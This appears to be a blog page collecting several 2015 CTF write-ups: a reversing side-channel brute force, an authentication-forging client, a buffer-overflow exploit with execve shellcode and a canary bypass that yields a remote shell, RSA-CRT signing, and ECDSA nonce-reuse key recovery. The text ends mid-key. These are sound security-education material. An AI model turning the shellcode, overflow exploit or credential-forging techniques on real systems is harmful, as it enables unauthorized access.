CSAW 2015 - wyvern (reversing 500) Writeup

Hint:

There's a dragon afoot, we need a hero. Give us the dragon's secret and we'll give you a flag.

Running this program, it looks like it's going to be a fairly standard crackme:

$ ./wyvern_c85f1be480808a9da350faaa6104a19b
+-----------------------+
|    Welcome Hero       |
+-----------------------+

[!] Quest: there is a dragon prowling the domain.
      brute strength and magic is our only hope. Test your skill.

Enter the dragon's secret: no

[-] You have failed. The dragon's power, speed and intelligence was greater.

Taking a look at it in Hex-Rays, we see that it's a C++ program that calls fgets to input the string, then creates a std::string out of it, before calling start_quest to see if you've input the right thing.

std::operator<<<std::char_traits<char>>(
  &std::cout,
  (unsigned int)"Enter the dragon's secret: ",
  "Enter the dragon's secret: ");
fgets(&s, 257, stdin);
std::allocator<char>::allocator(&v8, 257LL);
std::string::string(&v9, &s, &v8);
std::allocator<char>::~allocator(&v8);
std::string::string((std::string *)&v7, (const std::string *)&v9);
v3 = start_quest((std::string *)&v7);
std::string::~string((std::string *)&v7);
if ( v3 == 0x1337 )
{
  std::string::string((std::string *)&v6, (const std::string *)&v9);
  reward_strength((unsigned __int64)&v6);
  std::string::~string((std::string *)&v6);
}
else
{
  std::operator<<<std::char_traits<char>>(
    &std::cout,
    (unsigned int)"\n[-] You have failed. The dragon's power, speed and intelligence was greater.\n",
    v4);
}

The start_quest method does all kinds of stuff with std::vectors, the input string, and some static buffers. It also calls another method called sanitize_input that looks even less fun to try to make sense of.

I hate reversing compiled C++. Let's see if we can find any shortcuts to make this less painful... Running the program through ltrace, we can see that one of the last things it does (given this input) before cleaning up is to call std::string::length() const which returns the length of the input string:

$ echo no | ltrace -C ./wyvern_c85f1be480808a9da350faaa6104a19b 3>&1 >/dev/null 2>&3 | tail
memmove(0x8d1100, "d\0\0\0\326\0\0\0\n\001\0\0q\001\0\0\241\001\0\0\017\002\0\0n\002\0\0\335\002\0\0"..., 64) = 0x8d1100
operator delete(void*)(0x8d10b0, 0x6102f8, 0x7fff1b5eb0a0, 0x8d10b0) = 0
std::string::length() const(0x7fff1b5eb668, 1, 0xffffffff, 0) = 3
std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(0x7fff1b5eb668, 0xffffffff, 0, 0) = 1
std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)(0x6101e0, 0x40e75c, 1, 0) = 0x6101e0
std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(0x7fff1b5eb688, 0x40e700, 0x7fec595127d8, 0) = 0x8d1070
std::ios_base::Init::~Init()(0x610314, 0, 224, 0x7fec58d08d50) = 3
operator delete(void*)(0x8d1100, 0x6102f8, 0x7fff1b5eb510, 0x8d1100) = 1
std::ios_base::Init::~Init()(0x610310, 0, 160, 0x7fec58d08d10) = 0x7fec5952a100
+++ exited (status 0) +++

I'm gonna bet that the crackme is doing an initial length check and bailing since the input isn't the right length. To figure out the correct length, run the program under GDB, put a breakpoint on std::string::length() const and finish to get back to the calling scope.

   0x40469c <_Z11start_questSs+844>:  call   0x400f50 <_ZNKSs6lengthEv@plt>
=> 0x4046a1 <_Z11start_questSs+849>:  sub    rax,0x1
   0x4046a7 <_Z11start_questSs+855>:  mov    r9d,DWORD PTR ds:0x610138
   0x4046af <_Z11start_questSs+863>:  sar    r9d,0x2
   0x4046b3 <_Z11start_questSs+867>:  movsxd rcx,r9d
   0x4046b6 <_Z11start_questSs+870>:  cmp    rax,rcx

The call to the length method is at 0x4046a1. Then it subtracts one, presumably to remove the newline from the count, readies another value in rcx before comparing the string length to the value in rcx at 0x4046b6. Stepping down to the cmp and looking at the registers, we find the desired input length:

RAX: 0x2  # input length
RCX: 0x1c # desired input length

So the input to pass the crackme is 28 (0x1c) characters long.

At this point, I had a hunch that the program was checking the input character-by-character and I may be able to use a sidechannel to derive the password incrementally. I had never really done much with instruction counting, but a quick Google search showed that the callgrind tool in Valgrind would do the trick. A quick test confirmed my hunch and showed that the password began with "d":

$ for a in {a..z} {A..Z} ; do echo $a $(echo ${a}Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8 | valgrind --tool=callgrind ./wyvern_c85f1be480808a9da350faaa6104a19b 2>&1 | grep Collected) ; done
a ==13480== Collected : 1511690
b ==13484== Collected : 1511690
c ==13488== Collected : 1511690
d ==13492== Collected : 1522020
e ==13499== Collected : 1511690
f ==13503== Collected : 1511690
g ==13507== Collected : 1511690
h ==13511== Collected : 1511690
i ==13518== Collected : 1511690
j ==13522== Collected : 1511690
k ==13526== Collected : 1511690
l ==13530== Collected : 1511690
m ==13534== Collected : 1511690
n ==13538== Collected : 1511690
o ==13542== Collected : 1511690
p ==13548== Collected : 1511690
q ==13552== Collected : 1511690
r ==13556== Collected : 1511690
s ==13560== Collected : 1511690
t ==13564== Collected : 1511690
u ==13568== Collected : 1511690
v ==13572== Collected : 1511690
w ==13576== Collected : 1511690
x ==13580== Collected : 1511690
y ==13584== Collected : 1511690
z ==13588== Collected : 1511690
A ==13592== Collected : 1511690
B ==13596== Collected : 1511690
C ==13600== Collected : 1511690
D ==13604== Collected : 1511690
E ==13608== Collected : 1511690
F ==13614== Collected : 1511690
G ==13618== Collected : 1511690
H ==13622== Collected : 1511690
I ==13626== Collected : 1511690
J ==13630== Collected : 1511690
K ==13634== Collected : 1511690
L ==13638== Collected : 1511690
M ==13642== Collected : 1511690
N ==13646== Collected : 1511690
O ==13650== Collected : 1511690
P ==13654== Collected : 1511690
Q ==13658== Collected : 1511690
R ==13662== Collected : 1511690
S ==13666== Collected : 1511690
T ==13670== Collected : 1511690
U ==13674== Collected : 1511690
V ==13680== Collected : 1511690
W ==13684== Collected : 1511690
X ==13688== Collected : 1511690
Y ==13692== Collected : 1511690
Z ==13696== Collected : 1511690

So I threw together the following solver script. For some unknown reason, callgrind occasionally gives a different value than expected. If the solver sees more than one outlier for a given character of the password, it throws away that loop's values and tries again.

solve.pl

 1 #!/usr/bin/perl
 2 
 3 use strict;
 4 use warnings;
 5 use diagnostics;
 6 use feature 'say';
 7 use Data::Dumper;
 8 
 9 my $len = 28;
10 my $prefix = '';
11 
12 while(length($prefix) < $len)
13 {
14       my %values = ();
15       for my $char_val ( 0 .. 255 )
16       {
17               my $char = chr($char_val);
18               next unless($char =~ /[[:print:]]/);
19               my $pw = $prefix . $char;
20               $pw .= '-' x ($len - length($pw));
21               $pw =~ s/'/'"'"'/g;
22               my $result = `echo '$pw' | valgrind --tool=callgrind ./wyvern_c85f1be480808a9da350faaa6104a19b 2>&1 | grep Collected`;
23               say $pw;
24               if($result =~ /Collected : (\d+)/)
25               {
26                       push @{$values{$1}}, $char;
27               }
28       }
29       my @possibilities = map { $_->[0] } grep { scalar(@$_) == 1 } values %values;
30       if(scalar(@possibilities) != 1)
31       {
32               print Dumper(\@possibilities);
33               say "not a single outlier";
34       }
35       else
36       {
37               $prefix .= $possibilities[0];
38       }
39 }
40 say "Password: $prefix";

The script runs for a while, printing out all the passwords it attempts. As an aside, I absolutely love TV-style hacking scripts that find the answer character-by-character. The script eventually settles on the flag:

Password: dr4g0n_or_p4tric1an_it5_LLVM

Posted on Oct. 14, 2015, 11:48 a.m. by tecknicaltom

DEF CON CTF Quals 2015 - Access Control (Reverse Engineering 1) Writeup

Hint:

It's all about who you know and what you want.

access_control_server_f380fcad6e9b2cdb3c73c651824222dc.quals.shallweplayaga.me:17069

This challenge was a rather simple reversing problem. Me and Javantea worked on this.

When we connect to that site a connection id is returned to us, and we are expected to return a version. Since we didn't know the version to send we tried running the client. The client requests the user to enter something before it will connect, so we opened the client in hexrays. This showed that the client was expecting "hack the world". We ran the client again, entering the phrase and watched the communication with the server in wireshark.

With this we found that the communication worked as follows.

server: connection ID: {connectionid}

***Welcome to the ACME data retrieval service***
what version is your client?

client: version 3.11.54

server: hello...who is this?

client: grumpy

server: enter user password

client: {password which changes}

server: hello grumpy, what would you like to do?

client: list users

server: grumpy
mrvito
gynophage
selir
jymbolia
sirgoon
duchess
deadwood
hello grumpy, what would you like to do?

client: print key

server: {access denied message}

Running this a couple of times we found that the password changed every time. As such we tried to impersonate the server. Looking at this in hexrays it was clear that the password was an xor of the user-name and connection id. But with the connection id offset by 0 to 3. This offset was probably based on something; however, since the password could be tried multiple times, it was easier to try the password at each offset.

Once we had a client that could log in as grumpy, which is the same user as the client provided, we took the list of users and tried logging in with each of them. With each user we logged in and we tried the command "print key". The full list of listed users was:

grumpy
mrvito
gynophage
selir
jymbolia
sirgoon
duchess
deadwood

The user duchess was the only user that seemed to be allowed to view the key, which we took as a reference to Archer. With this user we were presented with a challenge that looked similar to the generated passwords. That part of the connection is shown bellow:

server: connection ID: {connectionid}

***Welcome to the ACME data retrieval service***
what version is your client?

client: version 3.11.54

server: hello...who is this?

client: duchess

...

client: print key

server: challenge: {challenge value}
answer?

So we looked at the client again, and found the part of the client that handled the challenge and response. This was also an xor however it was of the challenge, and an offset of the connection id. Although this time the connection id is offset by six plus the offset used before.

Then we sent the answer to the server and the server sent back the flag of:

The only easy day was yesterday. 44564

Bellow is the client I wrote in python.

 1 import socket
 2 import os
 3 import time
 4 import binascii
 5 
 6 def send(text, find=None):
 7     print text
 8     s.send(text+'\n')
 9     time.sleep(.5)
10     resp = s.recv(9999)
11     print resp
12     if find is not None and find in resp:
13         return True
14     return False
15 
16 def get_password(username, connectionid):
17     return ''.join([chr(ord(x) > 0x1f and ord(x) or ord(x)+0x20) for x in xorbin(connectionid, username)])
18 
19 def xorbin(a, b):
20     q = 5
21     output = ''
22     for i in range(q):
23             output += chr(ord(a[i % len(a)]) ^ ord(b[i % len(b)]))
24     return output
25 
26 name = 'duchess'
27 s = socket.create_connection(('54.84.39.118',17069))
28 connectionid = s.recv(9999).partition(': ')[2].partition('\n')[0]
29 print connectionid
30 s.recv(9999)
31 send('version 3.11.54')
32 attempt = True
33 i = -1
34 while attempt:
35     i+= 1
36     send(name)
37     password = get_password(name, connectionid[i:])
38     attempt = not send(password, name)
39 
40 s.send('print key\n')
41 time.sleep(.5)
42 resp = s.recv(9999)
43 print resp
44 challenge = resp.partition(': ')[2].partition('\n')[0]
45 print challenge
46 send(get_password(challenge, connectionid[8+i-2:]))

Cross-posted from: http://coldwaterq.com/2015/06/02/Access_Control.html

Posted on Oct. 13, 2015, 4:04 p.m. by coldwaterq

CSAW 2015 - precision (exploitables 100) Writeup

Hint:

nc 54.173.98.115 1259

https://ctf.isis.poly.edu/static/uploads/d2f37c6015a78c053263836141d340fb/contacts_1153cd2daa128685d40c020c439fa906

'precision' comes off at first as a pretty simple stack smashing challenge, but it has a couple of interesting twists. The main thing that makes this challenge different from a run-of-the-mill stack smashing exploit is that the program uses a floating point number as a homegrown canary to detect stack smashing.

As with most pwnables, the first step to solving this is to start reverse engineering the binary. Let's see what kind of binary we're working with:

$ file precision
precision: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=929fc6f283d6f6c3c039ee19bc846e927103ebcd, not stripped

Neat! They didn't bother stripping the symbols. Let's disassemble the binary and see what we've got:

$ objdump -d -j .text -M intel precision_a8f6f0590c177948fe06c76a1831e650

[...]

0804851d <main>:
 804851d:       55                      push   ebp
 804851e:       89 e5                   mov    ebp,esp
 8048520:       83 e4 f0                and    esp,0xfffffff0
 8048523:       81 ec a0 00 00 00       sub    esp,0xa0
 8048529:       dd 05 90 86 04 08       fld    QWORD PTR ds:0x8048690
 804852f:       dd 9c 24 98 00 00 00    fstp   QWORD PTR [esp+0x98]
 8048536:       a1 40 a0 04 08          mov    eax,ds:0x804a040
 804853b:       c7 44 24 0c 00 00 00    mov    DWORD PTR [esp+0xc],0x0
 8048542:       00
 8048543:       c7 44 24 08 02 00 00    mov    DWORD PTR [esp+0x8],0x2
 804854a:       00
 804854b:       c7 44 24 04 00 00 00    mov    DWORD PTR [esp+0x4],0x0
 8048552:       00
 8048553:       89 04 24                mov    DWORD PTR [esp],eax
 8048556:       e8 a5 fe ff ff          call   8048400 <setvbuf@plt>
 804855b:       8d 44 24 18             lea    eax,[esp+0x18]
 804855f:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048563:       c7 04 24 78 86 04 08    mov    DWORD PTR [esp],0x8048678
 804856a:       e8 41 fe ff ff          call   80483b0 <printf@plt>
 804856f:       8d 44 24 18             lea    eax,[esp+0x18]
 8048573:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048577:       c7 04 24 82 86 04 08    mov    DWORD PTR [esp],0x8048682
 804857e:       e8 8d fe ff ff          call   8048410 <__isoc99_scanf@plt>
 8048583:       dd 84 24 98 00 00 00    fld    QWORD PTR [esp+0x98]
 804858a:       dd 05 90 86 04 08       fld    QWORD PTR ds:0x8048690
 8048590:       df e9                   fucomip st,st(1)
 8048592:       dd d8                   fstp   st(0)
 8048594:       7a 13                   jp     80485a9 <main+0x8c>
 8048596:       dd 84 24 98 00 00 00    fld    QWORD PTR [esp+0x98]
 804859d:       dd 05 90 86 04 08       fld    QWORD PTR ds:0x8048690
 80485a3:       df e9                   fucomip st,st(1)
 80485a5:       dd d8                   fstp   st(0)
 80485a7:       74 18                   je     80485c1 <main+0xa4>
 80485a9:       c7 04 24 85 86 04 08    mov    DWORD PTR [esp],0x8048685
 80485b0:       e8 0b fe ff ff          call   80483c0 <puts@plt>
 80485b5:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 80485bc:       e8 1f fe ff ff          call   80483e0 <exit@plt>
 80485c1:       a1 30 a0 04 08          mov    eax,ds:0x804a030
 80485c6:       8d 54 24 18             lea    edx,[esp+0x18]
 80485ca:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 80485ce:       89 04 24                mov    DWORD PTR [esp],eax
 80485d1:       e8 da fd ff ff          call   80483b0 <printf@plt>
 80485d6:       c9                      leave
 80485d7:       c3                      ret

[...]

Turns out that having symbols didn't really matter much, but it does allow us to quickly identify main. Now, while a decompiler does help speed up the reversing process, this function is simple enough that we can just read through the disassembly to figure out what's going on:

  1. main allocates a stack frame of 160 bytes (sub esp,0xa0).
  2. main loads an 8-byte double-precision floating point value (i.e. your standard 'double' type) from ds:0x8048690 onto the stack at [esp+0x98].
  3. main calls printf and then scanf for a stack-allocated buffer starting at [esp+0x18].
  4. After calling scanf, main does a floating point comparison between the double it loaded on the stack at [esp+0x18] and the value it loaded it from at ds:0x8048690.
  5. If the comparison fails, it prints a string ("Nope.") and then calls exit(1). This codepath will foil our stack smashing exploit, since we won't be able to return from main.

From this, we can deduce the following:

  • We have a 128 byte buffer on the stack (from [esp+0x98] through [esp+0x18]).
  • main will print the location of this buffer (the printf call at 0x804856a)
  • main does an uncontrolled scanf, reading an arbitrary-length string from the user.
  • main also verifies its custom homemade canary, a double value that it places on the stack before the char buffer.

So this double value is important. What is it?

$ objdump -s --start-address=0x8048690 -j .rodata -M intel precision_a8f6f0590c177948fe06c76a1831e650

precision_a8f6f0590c177948fe06c76a1831e650:     file format elf32-i386

Contents of section .rodata:
 8048690 a5315a47 55155040                    .1ZGU.P@

Accounting for little-endian encoding, our floating point canary is 0x40501555475a31a5, or 64.33333.

So now that we know what the canary is, we can overflow the stack buffer with the following python script:

python -c "import struct; print 128*'A' + struct.pack('<d', 64.33333) + 512*'A'"

This allows us to bypass the canary and trash EIP.

Since the binary is so kind as to print the address of the vulnerable stack buffer (i.e. the address of our shellcode), we can just dump our shellcode into the buffer and then overwrite EIP to jump into that buffer. Seems simple enough.

However, there is one subtle trick here! Note that scanf stops when it encounters any byte that is an ASCII whitespace char. So we must be careful to ensure that our shellcode does not contain any whitespace bytes!

Starting with some standard stack smashing shellcode (I used http://shell-storm.org/shellcode/files/shellcode-811.php), and running it through an x86 assembler (such as https://defuse.ca/online-x86-assembler.htm), we have the following shellcode to work with:

0:  31 c0                   xor    eax,eax
2:  50                      push   eax
3:  68 2f 2f 73 68          push   0x68732f2f
8:  68 2f 62 69 6e          push   0x6e69622f
d:  89 e3                   mov    ebx,esp
f:  89 c1                   mov    ecx,eax
11: 89 c2                   mov    edx,eax
13: b0 0b                   mov    al,0xb
15: cd 80                   int    0x80
17: 31 c0                   xor    eax,eax
19: 40                      inc    eax
1a: cd 80                   int    0x80

Well, that '0x0b' byte is gonna be problematic: in ASCII, that's a vertical tab character, which will make scanf stop reading our payload. We can't have that, so let's get around this using some math!

Instead of mov al, 0xb, let's just use two large values whose difference is 0xb (such as, oh I dunno, 0x7ffffffb and 0x7ffffff0). This way, the assembled shellcode won't actually contain an '0xb' byte and will be whitespace free.

Here's the final shellcode:

0:  31 c0                   xor    eax,eax
2:  50                      push   eax
3:  68 2f 2f 73 68          push   0x68732f2f
8:  68 2f 62 69 6e          push   0x6e69622f
d:  89 e3                   mov    ebx,esp
f:  89 c1                   mov    ecx,eax
11: 89 c2                   mov    edx,eax
13: b8 fb ff ff 7f          mov    eax,0x7ffffffb
18: 2d f0 ff ff 7f          sub    eax,0x7ffffff0
1d: cd 80                   int    0x80
1f: 31 c0                   xor    eax,eax
21: 40                      inc    eax
22: cd 80                   int    0x80

We can then deploy the shellcode as the payload for our python exploit script:

 1 # -*- coding: utf8 -*-
 2 import socket, string, struct, sys, telnetlib, time
 3 
 4 def i_send(sock, msg):
 5     sock.send(msg + '\n')
 6     print "SEND >>>", msg
 7 
 8 def i_recv(sock):
 9     data = sock.recv(8888)
10     for line in data.split('\n'):
11         print "<<< RECV", line
12     return data
13 
14 s = socket.create_connection(('54.173.98.115', '1259'))
15 
16 buf_addr = i_recv(s).split(' ')[1]  # We're gonna get "Buff: 0xdeadbeef"
17 buf_addr = int(buf_addr, 0)
18 print "Got buffer addresss: 0x%x" % (buf_addr)
19 
20 shellcode = ("\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x89" +
21              "\xC1\x89\xC2\xB8\xFB\xFF\xFF\x7F\x2D\xF0\xFF\xFF\x7F\xCD\x80\x31" +
22              "\xC0\x40\xCD\x80")
23 buf_contents = shellcode + '\x90' * (128 - len(shellcode))
24 payload = (buf_contents +
25            struct.pack('<d', 64.33333) +
26            'A' * 8 +                      # padding ¯\_(ツ)_/¯
27            'A' * 4 +                      # saved ebp
28            struct.pack('<I', buf_addr))   # saved eip
29 
30 i_send(s, payload)
31 
32 t = telnetlib.Telnet()
33 t.sock = s
34 t.interact()

And then we win:

$ python ./exploit.py
<<< RECV Buff: 0xffb7a938
<<< RECV
Got buffer addresss: 0xffb7a938
SEND >>> 1�Ph//shh/bin����¸���-���̀1�@̀���������������������������������������������������������������������������������������������1ZGUP@AAAAAAAAAAAA8���
Got 1�Ph//shh/bin����¸��-��̀1�@̀���������������������������������������������������������������������������������������������1ZGUP@AAAAAAAAAAAA8��
ls
flag
precision_a8f6f0590c177948fe06c76a1831e650
cat flag
flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}

Posted on Oct. 6, 2015, 9:48 p.m. by hbw

OpenCTF 2015 - signfasterer (crypto 400) Writeup

Hint:

We have new signature requirements from Central Licensing.

We're happy to comply, but,...it's a bit slow. Can you figure it out?

Service: 10.0.66.121:8008 Reference Client: 172.16.18.20/sign_faster_client-d57fe60ab04625921121656d3695beca

The library four1c2.py is the central part of the solution. The reason for foul naming of the class is because using this in any system is a horrible weakness and should never be used for any reason, especially not performance. fasterer.py and four1c2.py both use an unnecessary library gnfs1.py which I am not releasing due to code quality. It provides a list of possible primes using a sieve.

The library four1c2.py provides fuckedRSA, a class that is able to compute Chinese Remainder Theorem quickly with an arbitrary number of primes. A discussion of how CRT works is below (same as the solution from signfaster).

Say you have the primes [3, 5, 7, 11, 13, 15] as your prime factors. N is 3*5*7*11*13*15 = 225225. The decryption exponent d is computed from the encryption exponent e and phi which is a combination of the prime factors. phi = (p-1)*(q-1)*... In the example phi = 2*4*6*10*12*14 = 80640 Let's say that e = 31 d = inverse(e, phi) In this case, d would be 62431, a large number compared to N. Encryption works like this: ciphertext = pow(plaintext, e, N) Let's say our ciphertext is 110138. Then the decryption occurs like: plaintext = pow(ciphertext, d, N) In this case plaintext = 1337. In math notation: plaintext = (ciphertext ^ d) mod N This is an expensive method of decrypting (or signing which is the same operation in RSA) a piece of data. The Chinese Remainder Theorem states that you can compute the decryption with much lower exponents (and thus faster) by splitting the decryption into multiple parts and combining. Compute: q_inv = Crypto.Util.number.inverse(q, p) m_1 = pow(ct, d_P, p) m_2 = pow(ct, d_Q, q) h = (q_inv*(m_1-m_2)) % p m = m_2 + h * q

The d_P for each factor can be computed as d mod (p-1) where p is factor. The set of d_P for our example would be [1, 3, 1, 1, 7, 5]. q_inv is the inverse of q (the second prime) mod p. The first q_inv is inverse(3, 5) = 2.

The solution required a lot of iteration and I was concerned that it wouldn't solve it before the competition was over. A failed attempt to improve speed was brute force of e to get a lower d value, but that saves maybe 10% time. The major improvement over the signfaster solution was using gmpy2. gmpy2 is perhaps 50 or 100 times faster than python's pow function or the Crypto.PublicKey.RSA.sign function. If you're ever using those, you should know how slow they are.

The winning solution was this:

python fasterer.py 10.0.66.121 8010
Connected
lineReceived preauth    Please burn some cpu cycles first: g7yfH/YYaVNWS7DT 8589934
Doing proof of work...
sendLine     pubkey     1439074140000000500
lineReceived pubkey     Public key?
Generating RSA key...
('e=', mpz(2360862523), 32)
sendLine     challange  MIICJTANBgkqhkiG9w0BAQEFAAOCAhIAMIICDQKCAgIiJYmF9Ug2kdau58zXCfBwQV4rxocanVn5RAGDvdMAjCPBXqOn0RuOgy0Xz6ERWUZ0wze1gY9Ll4GI/EzA/lOtOmLQd7wYll5yLoXFgTHKEoQY0Nsd35h4SXL99HctC/q/e3CLWhuVi4BsABAS4T4FedE2kIxHJwbhBxVbjXWnAYph0Y1R5p4fXx2IxHCmL5jnAG48iKez2gcCEMkaKY+Edsx7XTcRvRz5blpDWoRMxGdEvwn9UZH3rcKFzNKooqhfACX+1Ljre8uZjcML7b7eGjSlMigPxVr4rYZLSZi4BAbW8yvvZpgNvRoAmqEFJ3WdWb0ii0hNJ0BgAZ8bAzpho1XB776En+rUeCEr6TAFJWk0tj+eo7zOTUHeK7/l9QMa+nOvkjm+eA9pmLGHBMC2xgvcnxNopJBym6x2PqQ1djbge9Sn579hsxHLg3/N+ZBuDGZa5NgtiqIuuHD2NbyAMI+IveEgGmnm7DspM/z6DDTpjHNR8lHjeceA+9sd6jMu1YE6F/+faprPYb20nlRJy6NNpNcng9ChaDkzyV7BJ6KCe/02etP6sEmPI6MuZTGZmoM4RUJxw20wkodYmWlwE89XLg/8R6Vpr5Km04JV2uJYYEX/nvSq4beSJVR1uS/vPuDov5O4sCORmOYyF20nPL36iRbeJU0hqz7ZvnuEofkpAgUAjLfnOw==
lineReceived challange  Okay, make it quick, your challange is: 0AryFTCqDPooIyZrhhYqS5CNd0RmBA59jOxYOzZPcCc=
('do challenge!', '0AryFTCqDPooIyZrhhYqS5CNd0RmBA59jOxYOzZPcCc=')
sssssssssssss 250006012682151406846537376154540687961367589174709393533010073118257746557269158620641883605800137347701463346733284687994828814330266067691227064431317695890024521694239859003004921843870683222275127225088083581413471691965400893967067431316070190479281055324479854889284736372639887191032476462066284435557767235922928197165385809810895845459602715414945988666201380436927316134276486670353961513184015608213645383345217075032195552353704236282426066569390996656781785865466639058709936463884750521324897094499503044764825649854577365168000777613841561265621681005976320694977151156410704776528773526285069363400900280435873306410416520339826247717001078396600837779678027751967330792562732188473088526742379324885571851707000835556319076139465054535608837650383524555443200802064809030540548538769656814909186435996477495136599864493969163471781349581266462475218997858128280406681531279353475298670890480893236349909903781531853969764798675037315631735105549632889840362493478791827508451264649077861585927406934858265070349001578926922971409241379327569742100924765595093006804285197262633426183358425598804761352917119694354193766328874694602285078109206054552725656917812615652033037247763398207046663866135697718627262182438406219057601852594695222737034247272029639328224997744558255202897
x 0.788444042206
sendLine     print      AkXmqQT7JPYNgAEzF/mT/zP0n6BwMTnu6fSsljbVNu671DA94WiQMqNGpv74l3tZohm22m6/jnfeAHBQRR+96LZtkcm1EoZb9jdC9FdyD9i7eq93/jwjxVj5J9HgFNbWR7axZn1zDnia8bJRZNoA3/7v7u+oLH/lcJg8iwjmnz6YOzFS7pSlAdO2kXMb3CY6PJChvPMUTTPrPVhyPls28j86cVWEk4uCrf5q+BUz4qCfzgsJJdgnjTf+Fh8wA1ooBArAlf9PYUuVG6uj6jPZ5MwM2LRQubvxXWDj3QqD5SE7fggJQIMJuRsN1Yvw1vplaNx3RcNLEDRogkuebRtFHsW7aiSrOWaPfYdbpz0vMX/mwv9wISFvp2xR453Ndn6MRyWLOCttfxgKuAlbKR1eIrMswChzFJPosJlXPFaQIxqkYu4uFn4tBsFksXPMPx6/4LHfwiV+3weOs2fNMSnKrrRU/f8RoVTOVAVORW/hRIog6rULSpfsgqTTt6a3l0HUckhDKi+anBlIlHRCO4ENF+U5I91NmPQTsQBXubwtYS3oihV8GKRpRvktBSYdlBb7U5JjIH27fC15RknZK3qcnTvTgxgvVfRtAmo7S32SWjVfl4Or8yqiVnvYMsD7+i3+jWK5ZtO/QoLoL6PGL48//RJO31v7zVjOYrOBV886nAOM4iuNYvfSoRuiEXgdJ1Ko/vhJn7NqIFCO4WJR
lineReceived print      Solution verified sucessfully!
This is what they gave us: 'Solution verified sucessfully!'
lineReceived print      You took 0.790624 seconds.
This is what they gave us: 'You took 0.790624 seconds.'
lineReceived print      400 points (flag goes in signfasterer). your flag is: 2_primes_good_4_primes_better
This is what they gave us: '2_primes_good_4_primes_better'
lineReceived print      Goodbye!
This is what they gave us: 'Goodbye!'

Posted on Aug. 12, 2015, 9:27 a.m. by Javantea

OpenCTF 2015 - Veritable Buzz 1 (crypto 300) Writeup

Hint:

Central Licensing is now hip to social media fashions! We are very trendy, with the help of Social Media Experts Group! http://172.16.18.20/veritable_buzz-bbe62d344fc330ac716b8b4c955c2e68.html

You are given a website with 12 messages. In the source, each message contains a suspicious "signature" string:

Students reported that students post to discussion forums more frequently and are irrevocable provided the stated conditions are met.

     <div class="signature" style="display:none;" data-sig="a0289c0fa7e87f1ab1e94b577f43691ebd70c04b0e62ca7eaaf1791983d512e7bbc843ee3a2a0430455e9f755f832ccdcd7a46d769ee43467a01453214868094ca228cb5eebc953a39fb9bbaf865f4dbe1dad9b5f9f1bed75671e0db5433f0ed" data-pubkey="pub-f4c74a1c7c00fb118e5a50c9ab966f9d.pem">

data-pubkey points to a PEM file that is a Base64 encoded "public key" of some sort:

-----BEGIN PUBLIC KEY-----
MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYlsc6dc6ucsFVJavUphpKc350ISuwGUh
uD1MYO9TpbdF+KghCWkbBCDdK7lt5VKdOnYZKaIQ8n7J2kHaFQnVsk7Drh9zDL09
CDEqLYiqU9qRSd14/TCda1fAIH4vgRO1
-----END PUBLIC KEY-----

A quick round-trip through an ASN.1 decoder (like https://lapo.it/asn1js/) reveals that the key is an ECDSA public key over the NIST P-384 curve. Simple examination of the public key doesn’t reveal anything suspicious.

Instead, the embedded signatures were examined. Through trial and error with Pure-Python ECDSA (https://github.com/warner/python-ecdsa) it was determined that the signatures are valid when the supplied string is stripped of leading & trailing whitespace, hashed with SHA1, and then signed with the ECDSA private key:

public_key_ec_pem = '''
   -----BEGIN PUBLIC KEY-----
   MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYlsc6dc6ucsFVJavUphpKc350ISuwGUh
   uD1MYO9TpbdF+KghCWkbBCDdK7lt5VKdOnYZKaIQ8n7J2kHaFQnVsk7Drh9zDL09
   CDEqLYiqU9qRSd14/TCda1fAIH4vgRO1
   -----END PUBLIC KEY-----
   '''.strip()
   txt1 = "Students reported that students post to discussion forums more frequently and are irrevocable provided the stated conditions are met."
   sig1 = '''a0289c0fa7e87f1ab1e94b577f43691ebd70c04b0e62ca7eaaf1791983d512e7bbc843ee3a2a0430455e9f755f832ccdcd7a46d769ee43467a01453214868094ca228cb5eebc953a39fb9bbaf865f4dbe1dad9b5f9f1bed75671e0db5433f0ed'''.strip().decode('hex')
   public_key_ec = VerifyingKey.from_pem(public_key_ec_pem)
   print "Verify1: " + str(public_key_ec.verify(sig1, txt1))

There are a few common errors with ECDSA, and a quick review of the signatures reveals the likely weakness…each signature supplied begins with the same 24-byte preamble:

a0289c0fa7e87f1ab1e94b577f43691ebd70c04b0e62ca7eaaf1791983d512e7bbc843ee3a2a0430455e9f755f832ccd […]

The first portion of any ECDSA signature is the r parameter of the computation, which is directly generated from a secret nonce created during the signing process. It is critical to the security of ECDSA that the secret nonce never be repeated, otherwise it becomes possible to calculate the private key from the duplicate signature. This is the same fatal misuse of ECDSA that caused the Playstation 3 security breach.

Antonio Bianchi of the Strange Things blog (http://antonio-bc.blogspot.com/2013/12/mathconsole-ictf-2013-writeup.html) provided a writeup of a challenge he created for the iCTF 2015 competition. This had exploit code for an almost identical vulnerability, with the exception of being written for the NIST P-192 curve.

Only two small modifications were necessary to adapt the code to this larger curve length. Extraction offsets of the r and s values needed to change to 0-47 and 48-95 respectively (zero-based index). Additionally, the call to Pure-Python ECDSA’s SigningKey.from_secret_exponent needed to explicitly select the new curve, otherwise an early assertion error is encountered:

File "C:\Python27\lib\site-packages\ecdsa-0.13-py2.7.egg\ecdsa\keys.py", line 137, in from_secret_exponent
  assert 1 <= secexp < n
AssertionError

Cracking the private key provided us with a candidate private key that is easily validated by performing the same attack against a second pair of signatures and verifying that they are identical:

-----BEGIN EC PRIVATE KEY-----
MIGkAgEBBDAAY2gwczNuX2J5X2Y0aXJfZGljZV9yb2xsX2d1cmFudDMzZF90b19i
